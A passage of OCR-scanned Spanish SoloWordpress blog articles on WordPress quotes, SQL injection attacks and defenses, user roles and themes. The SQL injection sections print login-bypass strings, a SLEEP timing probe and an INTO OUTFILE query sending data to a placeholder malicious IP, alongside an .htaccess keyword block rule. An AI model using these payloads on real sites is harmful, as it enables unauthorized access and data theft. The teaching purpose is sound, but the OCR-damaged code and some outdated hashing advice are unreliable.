ser un reto, quiza llegues a necesitar cambiar parametros
internos de WordPress y usar filtros para poder «arreglar» los
fallos de presentacion.
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Las comillas
Un problema frecuente cuando se inserta codigo en una entrada, es la «correccion» que realiza WordPress de las comillas.

Esta correccion se realiza inmediatamente, cuando se presenta una pagina, WordPress traduce «sobre la marcha» y si miras el
texto en tu entrada aparece lo que inicialmente has puesto, pero no es lo que se muestra, no es lo que ve quien visita tu sitio.

Y esa correccion puede ser desesperante en algunos casos. Te recomiendo que leas: Las comillas espafiolas y como eliminarlas,
donde explico mas sobre este caso.

Otra solucién temporal (pues afecta sélo a lo que escribes en el momento) es reemplazar las comillas con sus entidades:

Recuerda que si pasas del modo «HTML» al «visual», las entidades se habran convertido a caracteres, con lo que perderas parte
del trabajo.

SoloWordpress
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Como funciona un Ataque de Inyeccion SQL

La inyeccion SQL es uno de los métodos mas utilizados por los «Hackers»,

«Crackers» y similares.

Y antes de que saltes, hay que hacer la aclaracién: existen «Hackers» de S
«sombrero blanco», «sombrero gris» y «sombrero negro» y estos Ultimos, son

considerados como «Crackers».

La diferencia estriba en que un «Hackers de sombrero blanco» es un personaje
cuya intencion es aprender o incluso ensefiar, pero carece de motivaciones u
objetivos maliciosos.

solowordpress.es

De todos los ataques que se pueden organizar contra sitios web, la inyeccion
SQLse encuentra entre los tipos mas peligrosos y generalizados, y se ha utilizado
para causar dafios reales a empresas y organizaciones durante varios afos.

En pocas palabras, la inyeccién SQL también conocida como SQLi, utiliza vulnerabilidades en los canales de entrada de un
sitio web para apuntar a la base de datos que se encuentra en el servidor de la aplicaciéon web, donde se almacena la informacion
mas sensible y valiosa.

Los atacantes pueden utilizar este esquema para robar o manipular datos, obstaculizar la funcionalidad de la aplicacion y, en el
peor de los casos, obtener acceso como administrador al servidor de la base de datos.

Como funciona un Ataque de Inyecciéon SQL
Los ataques de inyeccién SQL se realizan enviando comandos SQLmaliciosos a los servidores de bases de datos a través de
solicitudes web.

Se puede usar cualquier canal de entrada para enviar comandos maliciosos, incluidos elementos <input>, cadenas de consulta,
cookies y archivos.

Aungue en este articulo hable en general, esto también se aplica a WordPress, ya que también hace uso de una base de
datos SQL .

Para escenificar lo que estoy diciendo, usaré como ejemplo la mascara de acceso, en donde se solicita un usuario y una
contrasefia.

Cuando los usuarios ingresan sus credenciales y presionan el boton «Acceder», la
informacion se publica de nuevo en tu servidor web, donde se combina con un
comando SQL Por ejemplo, en PHP, el cédigo se veria asi:

@.

Pero ¢ que pasa si el usuario decide poner un nombre como juanito’ or 1=1 --

-

la aplicacion ejecutara el comando:
Blowordpress.es

Esto que parece una trivialidad, podria causar que el usuario consiga acceso sea cual sea la contrasefia introducida.

Esta es una de las formas mas simples de inyecciéon SQL; Con un poco mas de esfuerzo, el mismo usuario puede insertar
nuevas cuentas de usuario y eliminar o modificar cuentas de usuario existentes.

En las paginas que muestran resultados (como las de los buscadores), se puede usar el mismo esquema para mostrar registros e
informacién que de otro modo se restringirian a los visitantes normales, o para cambiar el contenido de los registros.

En casos mas severos, donde la conexién al servidor de la base de datos se realiza a través de una cuenta administrativa (como
«root » en MySQlo «sa» en MS SQL Server ), el atacante puede llegar a comprometer completamente el sistema operativo del
servidor.

En los servidores de Windows, esto puede manifestarse en el atacante que ejecuta procedimientos almacenados extendidos
como xp_cmdshell.

En un caso, los atacantes utilizaron una vulnerabilidad de inyeccién SQLpara crear cuentas de usuario en el servidor
comprometido, habilitar la funcion de «Escritorio remoto», configurar carpetas compartidas SMB y cargar malware, ademas de
practicamente desordenar todo lo que estaba almacenado en la base de datos.

Como protegerte de los ataques de inyeccion SQL
Dado que los canales de entrada del usuario son el vector principal para los ataques de inyeccion SQL, la mayoria de los
métodos defensivos implican controlar y examinar la entrada del usuario para los patrones de ataque.
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Aqui hay varias medidas que pueden garantizar la seguridad de entrada del usuario.

Nunca confies en las entradas de un usuario
La primera regla general sobre la entrada del usuario es «no confies y verifica», lo que significa que todas las formas de entrada
del usuario deben considerarse maliciosas a menos que se demuestre lo contrario.

Esto se aplica no solo a los cuadros de entrada simples, como las areas de texto y las cajas de texto, sino también todo lo demas,
como entradas ocultas, parametros de cadena de consulta, cookies y cargas de archivos.

El hecho de que la interfaz de usuario del navegador no permita al usuario manipular una entrada, no significa que no pueda ser
manipulada.

Existen herramientas simples como «Burp Suite» que permiten a los usuarios capturar solicitudes HTTPy modificar cualquier
cosa, incluidos los valores de formulario ocultos, antes de enviarlos al servidor.

Y si crees que eres inteligente al codificar tus datos en Base64, los usuarios malintencionados pueden decodificarlos, modificarlos
y volver a codificarlos facilmente.

Valida las entradas en el servidor
La validacion es el proceso de asegurarse de que los usuarios proporcionen el tipo correcto de entrada y de neutralizar cualquier
posible comando malicioso que pueda estar incorporado en la cadena de entrada.

Por ejemplo, en PHP, puedes usar mysql \ _real \ escape\ string () para escapar los caracteres que pueden
cambiar la naturaleza del comando SQL

Una version alterada del cédigo de inicio de sesidn mencionado anteriormente seria la siguiente:

Esta simple modificacion protegeria tu cédigo contra el ataque que se presenté al agregar un caracter de escape (\) delante de las
comillas simples que el usuario malicioso agrego6 intencionalmente.

Una nota sobre la validaciéon: si has afiadido funciones de validaciéon del lado del cliente, bien
hecho. Pero no confies en ello como una medida defensiva contra los ataques de inyeccién SQL.

Si bien las funciones del lado del cliente pueden dificultar aiin mas el envio de entradas maliciosas a tu servidor, estas funciones
también pueden evitarse facilmente con algunos ajustes y herramientas del navegador. Por lo tanto, debes complementarlo con la
validacion del lado del servidor.

Pero los piratas informaticos pueden burlarlos con un poco de paciencia y sutilezas. Recuerda: Nunca puedes ser demasiado
cauteloso.

Usa parametros de comando
Los parametros del comando constituyen una mejor alternativa para escapar, se definen agregando nombres de marcador de
posicion en los comandos SQL, que luego seran reemplazados por la entrada del usuario.

Este es un ejemplo escrito en C# de cémo hacer la validacion con parametros de comando para protegerte de la inyeccion
SQL

Empieza creando un objeto SqlCommang usando el paradigma @parameter_nameen la cadena de comando donde se debe
insertar la entrada del usuario.

Luego crea instancias de objetos SqlParameter , en los que insertas la entrada del usuario, en lugar de concatenarla
directamente con la cadena de comando.

Finalmente, agrega el objeto SqlParameter ala coleccion Parametros del objeto SqlCommangque reemplazara los parametros
con la entrada proporcionada.

Especifica explicitamente tu entrada

El lenguaje PHP es uno de los lenguajes débilmente tipados, lo que significa que generalmente no define tipos de datos para
variables, y el lenguaje se encarga automaticamente de convertir diferentes tipos de datos entre si.
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Las conversiones explicitas pueden actuar como un acceso directo a la entrada de escape donde intervienen tipos que no son
cadenas.

Por tanto, si esperas que el usuario ingrese un int para el pardmetro age, puedes garantizar la seguridad de la entrada con el
siguiente cédigo en PHP:

Ten en cuenta que este fragmento sélo valida el tipo de entrada, no su rango. Por lo tanto, tendras que ejecutar otro codigo
adicional para asegurarte de que el usuario no ingrese una edad negativa, o no realista, como 1300.

Ademas, otra practica recomendada es evitar el uso de comillas simples en los comandos SQLen los que esta involucrada la
entrada sin cadenas.

Por tanto, en lugar de usar el siguiente codigo ...

es mucho mas Seguro usar:

Como eliminar las vulnerabilidades de inyeccién SQL
Como préctica general, debes comprobar el cddigo de cada pagina en busca de los lugares donde combinas los contenidos,
comandos, cadenas, etc. de la pagina con fuentes que pueden provenir de los usuarios.

Examinar tu cddigo fuente en busca de vulnerabilidades y agujeros de seguridad deberia ser una parte inherente de tu proceso de
desarrollo de software.

También puedes usar herramientas de escaneo como sqglmap para rastrear las paginas de tu sitio en busca de posibles
vulnerabilidades de inyeccion SQL

De hecho, los piratas informéticos utilizan con frecuencia esta herramienta para encontrar y explotar vectores de ataque de
inyeccion SQL en sitios web especificos, entonces, ¢,por qué no usarla para hacerlos mas seguros?

La dltima linea de defensa
No importa cuanto fortifiques la seguridad de tu sitio web, debes prepararse para el dia en que se realice una inyeccion SQL

Después de todo, como es ampliamente conocido en la industria de la ciberseguridad, que los defensores tienen que ganar cada
pelea, pero los hackers solo tienen que ganar una vez.

Te presento algunos consejos que te ayudaran a minimizar el dafio cuando te conviertas en una victima de inyeccién SQL

Limita los privilegios de administracion
Usar las cuentas «root» 0 «sa» para conectar tu aplicacion web a tu servidor de base de datos es uno de los peores errores que
puedes cometer.

Como ya he mencionado, una cuenta administrativa comprometida puede potencialmente dar acceso a los piratas informaticos a
todo el sistema.

Incluso las cuentas no administrativas que tienen acceso a todas las bases de datos dentro de un servidor pueden ser
perjudiciales, especialmente si el servidor de la base de datos se comparte entre diferentes aplicaciones y bases de datos.

Por lo tanto, es mejor usar una cuenta que solo tenga permisos simples de lectura y escritura para la base de datos especifica
que se encuentra detras de tu sitio web, por lo que en caso de que tu sitio sea pirateado mediante inyeccién SQL , el alcance
del dafio permanece dentro de los limites de esa base de datos Unica.

Un enfoque més avanzado seria utilizar conexiones separadas para segmentos de codigo que leen o escriben en tu base de
datos, y reducir alin mas los permisos y roles para cada segmento.

Por ejemplo, las paginas de la lista, que no realizan modificaciones en la base de datos, pero utilizan ampliamente los parametros
de blsqueda, pueden codificarse para usar una conexion de solo lectura a la base de datos con el fin de fortalecer aiin mas su
cédigo contra accidentes.

En MySQl.mejorarés la seguridad limitando el acceso a la cuenta de usuario a rangos especificos de direcciones IP en lugar del
modelo «%?>», para evitar el acceso a cuentas comprometidas desde ubicaciones remotas.
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Cifrar datos confidenciales
Cifra los datos confidenciales en tu base de datos. Esto incluye contrasefias, preguntas y respuestas de seguridad, datos
financieros, informacion de salud y otra informacién que podria ser (til para actores maliciosos.

Esto asegurara que incluso si los piratas informaticos ponen sus manos en tus datos, no podran explotarlos de inmediato, lo que
te dara tiempo para descubrir la violacion, tapar el agujero y tomar otras medidas reactivas, como forzar el restablecimiento de
contrasefias, lo que que asegurara que los datos robados pierdan su valor antes de que el atacante los descifre.

Si estas modificando tus contrasefias, usa algoritmos fuertes como SHA-2 para la proteccién de contrasefias.
MD5 y SHA-1 estan obsoletos y se pueden revertir.
Para otras formas de encriptacion, ten cuidado donde guardas las llaves y nunca pongas todos tus huevos en una misma cesta.

No tendria sentido utilizar el cifrado si las claves estan justo al lado de los datos cifrados y los piratas informaticos accederan
facilmente a ellos tan pronto como comprometan el servidor.

No almacenes datos confidenciales si no los necesitas
Siempre que almacenes informacién en tu base de datos, considera cuan dafiino puede llegar a ser si cae en las manos
equivocadas, y decide si realmente necesitas almacenarla o no.

El truco de «Ashley Madison», que revel6 los secretos oscuros y la informacién mas intima de unos 37 millones de personas en
Internet y caus6é dafios graves, en parte debié su éxito al hecho de que el proveedor se habia abstenido de borrar informacion
confidencial de sus bases de datos.

En resumen, no almacenes informacién confidencial en tu base de datos a menos que realmente necesites hacerlo. E incluso
entonces, elimina la informacion cuando ya no esté en uso.

Conclusién
La inyeccion SQL ha existido durante décadas y probablemente continuara encabezando las listas de vulnerabilidad en los
préximos afios.

Se necesitan algunos pasos faciles, pero bien calculados, para protegerse y proteger a tus usuarios contra esta vulnerabilidad y,
debes estar entre tus principales prioridades al auditar tu cédigo fuente para detectar agujeros de seguridad.

La clave para evitar ser victima de la préxima gran violaciéon de datos de inyeccion SQL es primero, controlar y validar la
entrada del usuario, y segundo, prepararse para el «cuando», en lugar de el «si».
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Como funciona un Ataque de Inyeccion SQL en

WordPress

La inyeccion SQL es uno de los métodos mas utilizados
por los «Crackers», como ya expliqué en un articulo anterior.

En esta articulo «de expansion» quiero detallar un poco mas
el funcionamiento en relacion al lenguaje PHPy su uso
concreto en WordPress.

Si no lo hiciste ya, te recomiendo leer el articulo en el que
comento en vista general,
cémo funciona un ataque de inyeccion SQL.

En pocas palabras, la inyeccién SQL también conocida
como SQLi, es un ataque a una aplicacion web que
compromete la base de datos mediante comandos o
sentencias SQLmaliciosas.

Un poco mas de detalle

Imagina una tipica aplicacion web que implica solicitudes de
bases de datos a través de las entradas del usuario; La
entrada del usuario se realiza a través de un formulario de
acceso; A continuacién, se consulta la base de datos con los
campos enviados por el usuario para autentificarlos. La
estructura de la consulta a su base de datos es algo asi:

Para simplificar, supdn que esta almacenando las contrasefias
como texto claro (absolutamente desaconsejado, como
sabes). A continuacion, cuando la aplicacion recibe el nombre
de usuario y la contrasefia por medio del formulario, puede
definir la consulta en PHP de esta manera:

En este caso, si has introducido el valor «admin’;-» en el
campo de nombre de usuario, la consulta SQLresultante que
genera la variable $db_query sera la siguiente:

Dado que en SQLse utilizan dos guiones consecutivos como
indicacién de un comentario (--), la consulta resultante filtra
s6lo por el nombre de usuario sin tener en cuenta la
contrasefia, ignorando el resto de la linea de comando.

Si no hubiera seguridad para evitarlo, simplemente se le
concederia acceso administrativo a la aplicacion web con soélo
usar este truco.

En el ejemplo que citaba en el articulo anterior se usa un
ataque booleano, que también puede ser usado en este caso
para obtener acceso. Si un atacante introduce «password’
or 1=1;-- » en el campo de la contrasefia, la consulta
resultante seria la siguiente:

Y como resultado, la contrasefia sera evaluada como «true» y
el resto de la linea de comando SQLsera ignorada (convertida
en comentario).

Tipo de inyecciéon SQL
Como ya conoces en qué consiste la inyeccion SQL
vamos a ver sus variantes.

Inyeccién SQL en banda

Se trata de la forma mas simple de inyecciéon SQL . En este
proceso, el atacante es capaz de utilizar el mismo canal para
insertar el codigo SQL malicioso  en la aplicacion, asi
como para recoger los resultados.

Dos formas de ataques de inyeccion SQL en banda, son:

* Ataque basado en errores

Un atacante utiliza una técnica de inyeccion SQL basada
en errores durante las fases iniciales de su ataque.

La idea detras de una inyeccion SQL basada en errores es
obtener mas informacion sobre la estructura de la base de
datos y los nombres de las tablas que usa la aplicacion web.
Por ejemplo, un mensaje de error puede contener el nombre
de la tabla incluido en la consulta y los nombres de las
columnas de la tabla; Estos datos pueden ser utilizados para
crear nuevos atagues.

* Ataque basado en la Unién

En este método, un atacante que utiliza la unién SQL se une
para mostrar los resultados de una tabla diferente.

Por ejemplo, si un atacante esta en una pagina de busqueda,
puede afiadir los resultados de otra tabla:

* Inyeccion SQL Ciega (Blind SQL Injection)
Si un atacante genera un error en la consulta SQL, la
respuesta de la consulta puede no ser transmitida
directamente a la pagina web. En tal caso, el atacante
necesita investigar mas.
En esta forma de inyeccidn SQL, el atacante envia varias
consultas a la base de datos para evaluar como la aplicacion
analiza estas respuestas.
Hay dos tipos de Inyeccién SQL Ciega: «Inyeccion SQL
Booleana» y «Inyeccién SQL basada en tiempo».
El atague «Booleano» se produce si una consulta SQL da
como resultado un error que no ha sido manejado
internamente en la aplicacién; la pagina web resultante puede
arrojar un error, cargar una pagina en blanco o cargar
parcialmente.
En una Inyeccion SQL Booleana, un atacante evalia qué
partes de la entrada de un usuario son vulnerables a las
inyecciones SQL probando dos versiones diferentes de una
clausula booleana a través de la entrada:

*  «..and 1=1»

e «..and 1=2»

Si la aplicacién funciona normalmente en el primer caso pero
muestra una anomalia en el segundo, indica que la aplicaciéon
es vulnerable a un ataque de Inyecciéon SQL Booleana.

Ataque basado en el tiempo

El ataque de Inyeccién SQL basado en el tiempo Este se
produce cuando la aplicacion utiliza una funcién predefinida
basada en el tiempo del sistema de administracion de la base
de datos.

Por ejemplo, en MySQL, la funcion sleep() le indica a la base

de datos que espere un cierto nUmero de segundos.
SELECT * FROM comments WHERE post_id=1-SLEEP(15);
Si la consulta resulta en un retraso, el atacante sabra que la

ailicacién es vulnerable.

Si la consulta resulta en un retraso, el atacante sabra que la
aplicacion es vulnerable.
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Inyeccién SQL fuera de banda

Asi se llama un ataque cuando el atacante no puede obtener
los resultados de una inyeccién SQL a través del mismo
canal.

Usualmente estas técnicas implican el envio de datos de la
base de datos SQL a una ubicacion maligna elegida por el
atacante. Este proceso también depende en gran medida de
las capacidades del sistema de gestion de la base de datos.

Un ataque de inyeccién SQL fuera de banda utiliza una
capacidad de proceso de archivos externos de su gestor de
base de datos. En MySQL, las funciones LOAD_FILE() y
INTO OUTFILE pueden ser usadas para solicitar a MySQL
gue transmita los datos a una fuente externa.

A modo de ejemplo, vemos cémo un atacante puede utilizar
OUTFILE para enviar los resultados de una consulta a una
fuente externa:

SELECT * FROM post_table INTO OUTFILE "\\\\
DIRECCION_IP_MALICIOSA\localizacion'

De manera similar, la funcion LOAD_FILE() puede utilizarse
para leer un archivo del servidor y mostrar su contenido.

Se puede utilizar una combinaciéon de LOAD_FILE() y
OUTFILE para leer el contenido de un archivo en el servidor y
luego transmitirlo a una ubicacion diferente.

¢ Como prevenir las inyecciones de SQL?

Hemos visto varios ejemplos de vulnerabilidades en una
aplicacion en PHP que pueden conducir a ataques de
inyeccion SQL.

Una vulnerabilidad de inyeccién SQL puede ser utilizada por
un atacante para leer, modificar o incluso eliminar el contenido
de su base de datos.

Otra de las caracteristicas de la inyeccién SQL es que un
atacante puede conseguir leer un archivo en cualquier lugar
dentro del servidor y transferir el contenido a otro lugar.

Veamos pues, que se puede hacer para atajar estos ataques.

Entradas Escape del usuario

Determinar si una cadena de caracteres suministrada por un
usuario es maliciosa, no es una tarea facil, pero una de las
primeras aproximaciones es «escapar» los caracteres
especiales que puedas encontrar en la entrada del usuario.

Lo recomendable sera «escapar» la cadena de caracteres
suministrada, antes de construir la consulta SQL en PHP,
usando la funcion mysql_escape_string() o, en MySQL,
usando la funcién mysgqli_real_escape_string().

Tendras que convertir la cadena resultante, para que los
caracteres especiales no interfieran con el marcado HTML, lo
gue se consigue con la funciéon htmispecialchars().

Usar declaraciones preparadas

Otra forma de evitar la inyeccion SQL es usar sentencias
preparadas, que no son otra cosa que plantillas de una
consulta SQL, en la que se especifican los parametros en una
etapa posterior para ejecutarla.

Esto es un ejemplo de una declaracion preparada en PHP y
MySQLi.

$query = $mysql_connection->prepare("SELECT * FROM
user_table WHERE username = ? AND password = ?");
$query->execute(array($username, $password));

Comprobaciones adicionales
El siguiente paso para mitigar esta vulnerabilidad es limitar el
acceso a la base de datos a sélo lo necesario.

Una accion muy recomendada y relevante es evitar que pueda
tener acceso a varios datos, conectando la aplicacion web al
sistema de gestién, usando un usuario especifico para la base
de datos relevante y que no tiene acceso a ninguna otra.

También resulta aconsejable bloquear ciertas palabras clave
SQL en los métodos POST o GET.

Una accion alternativa para realizar ese bloqueo: puedes
incluir las siguientes lineas de cédigo en tu archivo .htaccess
de forma que muestre un error 403 Forbidden a un posible
atacante.

RewriteCond %{QUERY_STRING} ["~a-z]
(declarejchar|setjcast|convert|delete}drop}exec}inse
rtimeta|script|selectitruncatejupdate)[~a-z] [NC]
RewriteRule (.*) - [F]

El inconveniente sera que se mostrara el error 403 a
cualquier usuario que introduzca una de esas palabras en la
URL, aunque lo haga sin una intencién de ataque.

Inyecciéon SQL en WordPress

En la creacién de WordPress, se ha tenido cuidado de atajar
los problemas que pudieran derivar en ataque de inyecciéon
SQL asi que, por ese lado estamos seguros.

La recomendacién entonces, es mantener el «core»
actualizado, pero sin embargo, cuando se utilizan Temas y
Plugins de terceros, toda la aplicacion corre peligro.

Personalmente, me gusta siempre tener en cuenta una
filosofia:

Cualquier cadena es tan fuerte como su eslabén mas
débil.

Prevencién de Vulnerabilidad de Inyeccién SQL para
WordPress

Para mitigar la vulnerabilidad de inyeccién SQL en tu Tema o
Plugin de WordPress, la Gnica regla que debes seguir es
utilizar siempre las funciones existentes de WordPress cuando
interacties con la base de datos.

Estas funciones se prueban exhaustivamente en busca de
vulnerabilidades de inyeccion SQL durante el proceso de
desarrollo de WordPress.

Por ejemplo, si deseas afiadir un comentario a una entrada,
utiliza la funcién wp_insert_comment() en lugar de insertar
los datos directamente en la tabla wp_comments.

Es posible que en ocasiones necesites ejecutar una consulta
compleja, aunque las funciones internas de WordPress son
extensibles.

Si este es el caso, asegurate de utilizar el grupo de funciones
$wp_db que se proveen para estos casos.

Puedes usar $wpdb->prepare() para escapar de la entrada
del usuario antes de crear la consulta.

Aqui tienes una lista de funciones para sanear los datos en
WordPress; esto te ayudara a escapar de tipos especificos de
entradas de usuario como correos electrénicos y URLs.

SOLOWORDPRESS
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Fortifica tu sitio con WordPress
Si bien WordPress es seguro, problemas como el software de nicleo anticuado y los Plugins obsoletos pueden provocar
vulnerabilidades.

La practica recomendada es siempre revisar tu sitio WordPress en busca de vulnerabilidades, a fondo, aunque la extension y
complejidad del sitio pueden hacer que esa tarea sea un auténtico desafio.

Existen herramientas de exploracion «on-line» como «ThreatPass» (https://db.threatpress.com/) y «WPScan Vulnerability
Database» (https://wpscan.org/) que te facilitaran la labor.

Conclusion
La inyeccién SQL ha existido durante décadas y probablemente continuara encabezando las listas de vulnerabilidad en los
préximos afios.

Un informe de 2018 sobre sitios web pirateados sugiere que SQL.i es la vulnerabilidad web mas comuan para WordPress después

de los ataques de XSS. Para evitar que ocurran, deberias:

*  Entender como funciona la vulnerabilidad de inyecciéon SQL.

* Explorar varias formas en las que los atacantes pueden usar inyeccion SQL para obtener acceso no autorizado a tu
aplicacion web.

* Implementar métodos para salvaguardar tu sitio web de los ataques de SQLIi, como escapar de las entradas de los usuarios y
utilizar sentencias preparadas.

*  Seguir una rutina de control de seguridad.

Como dice el viejo refrén, «més vale prevenir que lamentar».

Una serie de buenas précticas, incluyen:

* Mantén actualizados PHP, el ndcleo de WordPress y MySQL.

* Actualiza los Plugins y Temas de terceros.

* Evita utilizar el usuario root para conectar la base de datos SQL.

¢ Limita los accesos del usuario SQL a los directorios sensibles

* Bloquea las palabras clave de SQL usadas en la URL de tu servidor.

* Mantén las copias de seguridad de tu sitio fuera del sitio fisico de tu servidor.
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Para qué sirven Los Usuarios en WordPress

Recientemente y mas cuando estamos en un periodo de «reclusion» mas o menos voluntaria, han proliferado las bitacoras.

Las hay de muchos tipos, mas o menos formales, mas o menos técnicas, pero parece que es necesario escribir sobre cualquier
materia.

La Unica constante en este universo de los blog, es que parece ser un oficio solitario y, en muchos casos, un blog esta escrito por
un individuo.

Cierto, hay empresas cuyo sitio web tiene un blog, y un grupo de colaboradores que escriben ese blog pero aun asi, es el
individuo el que «firma» el material escrito.

En muchos casos, el individuo se desliga del nombre comercial y termina escribiendo un blog con su propio nombre, aunque la
materia sigue siendo la misma.

Esta «individualizacién» ha creado varias paradojas y mas de un «quebradero de cabeza» para muchas empresas, ya que
aunque es normal y sano el que exista la rotacion de personal, en este caso la dependencia del «xnombre» hace que no sea facil
encontrar lo que se necesita.

Curiosamente (al menos para mi) en un momento en que la informatica nos ha facilitado el tele trabajo y que en muchos casos
este no es una posibilidad sino una obligacion, se sigue pensando y actuando de igual manera a como se hacia cuando se
escribia en maquina de escribir y se debia enviar (de alguna forma) los legajos escritos a la editora encargada de su publicacion.

Sin embargo, se han eliminado «intermediarios», hoy el autor de un blog, escribe, corrige y publica sus escritos (en la mayoria de
los casos) y esto es lo que hace que si alguien deja de escribir, ese blog sea muy dificil de reemplazar, porque cada escritor tiene
su estilo y sus peculiaridades.

Cuando una empresa que se dedica a la «fabricacion y venta de tapas para volcanes» tiene un blog, por lo general este esta
escrito por algun empleado que «sabe del tema», pero que no es necesario que sepa escribir (no es un escritor profesional).

Si ese empleado falta, hay que buscar a otro que también «sepa del tema» y quiera encargarse de la tarea de escribir.

Para qué sirven Los Usuarios en WordPress
WordPress fue concebido con la filosofia y mentalidad de una empresa de edicién, por lo que cuenta con una jerarquia de
usuarios con diferentes caracteristicas (llamémosle roles).

Siguiendo con el ejemplo, si la empresa pierde a su empleado escritor, deberia ser capaz de contratar a otro «autor», aunque no
«sepa del tema», ya que la labor de escritura no tiene necesariamente que ser la misma que la de otras figuras involucradas en el
proceso de publicacion.

Como ya vimos cuando explique los usuarios en el mena de administracién (Escritorio) de WordPress, disponemos de varios
perfiles de usuario.

Los perfiles por defecto de Los Usuarios en WordPress son:

* Administrador. Que tiene todos los permisos y puede «hacer y deshacer» en todo el sitio.

* Editor. Quien puede cambiar el contenido de las entradas, moderar comentarios, pero no puede cambiar caracteristicas del
sitio tales como Temas, Plugins, etcétera.

* Autor. Solo puede escribir nuevas entradas o editar las entradas que él mismo haya creado anteriormente. No puede
tampoco crear nuevas categorias, debe emplear las existentes.

* Colaborador. Cuenta con incluso mas limitaciones que el «Autor», ya que no puede afiadir imagenes a sus propios articulos,
es decir, solo puede escribir y modificar sus propios escritos.

* Suscriptor. El mas restrictivo de los perfiles, sélo tiene derecho a ver su propio perfil y cambiar su propia contrasefia, amén
de hacer comentarios a las entradas. Se usa principalmente cuando se solicita que el lector esté registrado para comentar o
hacer pedidos en la tienda.

Los perfiles pueden cambiar; como casi todo en WordPress, pueden modificarse las aptitudes de cada uno de los perfiles o
pueden crearse nuevos perfiles o incluso, pueden eliminarse perfiles si se considera necesario.

Modos de trabajo
Si bien la moda es que un individuo escriba, «corrija» y, publique sus entradas en el blog, los diferentes perfiles nos permiten
trabajar de otra forma.

Cuando se hacia un escrito en «maquina de escribir», se enviaba el escrito a la edicion (perfil del editor) quien se encargaba de
corregir las posibles faltas y dar el estilo «propio de la casa» al escrito para mantener una «linea editorial» coherente.

¢Por qué esto ya no se hace?
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Hoy se trabaja «telematicamente» o dicho en forma mas moderna, se tele trabaja, pocos son los casos en que un individuo
escriba fisicamente en la terminal o consola del servidor donde esta alojado el programa informatico que hace la publicacion
(WordPress).

Por lo general el «autor» esta en su propia oficina (que puede estar fisicamente en su mismo domicilio) y se conecta a un servidor
gue puede estar fisicamente en cualquier sitio (incluso en otra ciudad u otro pais).

Este «autor» puede haber recibido un escrito de un «colaborador» y simplemente haberlo «subido» al servidor.
¢Cudl es la razén? por la que ese «autor» no es corregido por un «editor» para adecuar ese escrito a la «linea editorial».

Si cada uno de los tres individuos citados accede al servidor con su usuario y contrasefia personales, cada uno cumplira con su
mision y el resultado quiza sea mejor que el obtenido por un solo individuo con tres tareas distintas.

Delimitacion de competencias (y responsabilidades)
Con la separacion de perfiles, conseguimos mas flexibilidad y tenemos muchos menos inconvenientes en el momento en que una
de las tareas ha de ser realizada por otra persona.

Si no tenemos que contar con un individuo que sea capaz de realizar todas las tareas perfectamente, al tener la segmentacion por
perfiles, un «autor» ha de preocuparse de escribir, un «editor» ha de ocuparse de dar forma al escrito para (sin alterarlo en
sentido) adecuarlo a la «linea en que nuestros lectores esperanx».

Luego podemos tener uno 0 mas «autores», uno 0 mas «editores» y uno o mas «administradores» encargados de que todo
funcione correctamente y el resultado final esté publicado adecuadamente.

Un Unico responsable

Cuando un individuo realiza todas las funciones, estamos diciendo que debe ser «Autor», por lo que deberia «saber del tema»,
ser «Editor» para ser capaz de corregir posibles errores de escritura y ser capaz de «maquetar» el escrito para adecuarlo a la
apariencia requerida y, ser «Administrador» para poder decidir el como y el cuando de la publicacion, cambiar las formas y estilos
de la publicacién y saber lo suficiente sobre el funcionamiento de WordPress, para mantenerlo actualizado, seguro y «visible».

La Seguridad
Como casi siempre, la seguridad es un tema que no se toca mas que después de un susto.

Uno de los problemas que soluciona el tener tareas delimitadas, es la delimitacion de riesgos y responsabilidades.

Si hacemos una reparticion de tareas por perfiles, si la seguridad de un «Colaborador» se ve comprometida, el riesgo de
seguridad es minimo, ya que ese perfil no permite alterar textos ni formatos de las entradas (por ejemplo).

Si lo que se ve comprometido es la seguridad de un «Autor», puede haber cambios en las entradas creadas por ese autor, pero
no se veran afectadas las entradas de otros autores ni la «linea editorial».

Si es el «Editor» quién tiene un incidente de seguridad, muchas cosas pueden verse afectadas pero aun asi el dafio es
«delimitable» y salvable rapidamente con copias de seguridad.

El mayor riesgo aparece si es el «KAdministrador» quién sufre un incidente de seguridad, ya que puede verse comprometido
cualquier aspecto del sitio con WordPress. Por eso es recomendable que siempre existan al menos dos administradores.

Con la creciente necesidad de tele trabajar, se han incrementado los casos de robo de identidad y se ha incrementado en general
la actividad de «los malos» dispuestos a generar dolores de cabeza

Conclusiéon
Delimitar tareas y funciones, es el objetivo de los diferentes perfiles de usuario de WordPress.

El hacer uso de esa delimitacién es, por supuesto, tu decision y responsabilidad; yo sélo quiero recordarte para qué sirven los
usuarios en WordPress, al tiempo que hago hincapié en que la seguridad es un factor muy importante a tener en cuenta y que es
mas facil mantenerte seguro si hay una limitacion de funciones y riesgos.
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Diferencia entre Tema o Plantilla en WordPress

owertul and stable

Faatured Page

Diferencia entre Tema o Plantilla en WordPress
Lo cierto es que no son términos intercambiables, aunque hay
que reconocer que su concepto puede llevar a ese equivoco.

Para los que entiendan la teoria de conjuntos, es muy facil
entender que la plantilla es un sub-conjunto de un Tema.

Vamos al detalle.

Tema o Plantilla — Tema y su definicién.

Un Tema WordPress es una coleccion de archivos que
trabajan juntos para producir un interfaz grafico con un
disefio unificado subyacente para un weblog. Estos
archivos se llaman archivos de plantilla. Un tema modifica
el modo en que el sitio es mostrado, sin modificar el
software subyacente. Los temas pueden incluir archivos
de plantilla personalizados, archivos de imagen (*.jpg,.gif),
hojas de estilo (*.css), Paginas personalizadas, asi como
cualquier otro archivo de cddigo (*.php) necesario.

https://codex.wordpress.org/es:Using_Themes

Ya en su definicién, dicen claramente: «Los temas pueden
incluir archivos de plantilla personalizados, ...»

El Tema es el conjunto de todo, compuesto por archivos de
guiones en lenguaje PHP, instrucciones en HTML, ayudado
por cédigo en Javascript y uno o mas archivos en formato
CSS para mejorar la presentacion.

Alguno de esos archivos PHP, son la plantilla del Tema.

Tema o Plantilla - Plantilla y su definicion
Al contrario que en el caso de Tema, no hay una definicion
corta y concisa de lo que son las plantillas.

Te recomiendo que leas el articulo
La Plantilla entrando en detalle, donde te cuento cémo
funciona la plantilla para la creacién de paginas.

Y en La Jerarquia de la Plantilla y el Tema hijo te cuento cémo
integrar la jerarquia en la creacion de tu Tema hijo.

Aunque basicamente, para dar una definicién corta, la Plantilla
es el conjunto de instrucciones, generalmente en PHP y
HTML, que indican en que forma se distribuyen los bloques de
elementos de las paginas.

Tema o Plantilla - ¢De dénde viene la confusiéon?

Lo cierto es que en el «codex» de WordPress, que es el texto
de referencia por antonomasia, utilizan los términos «Theme»
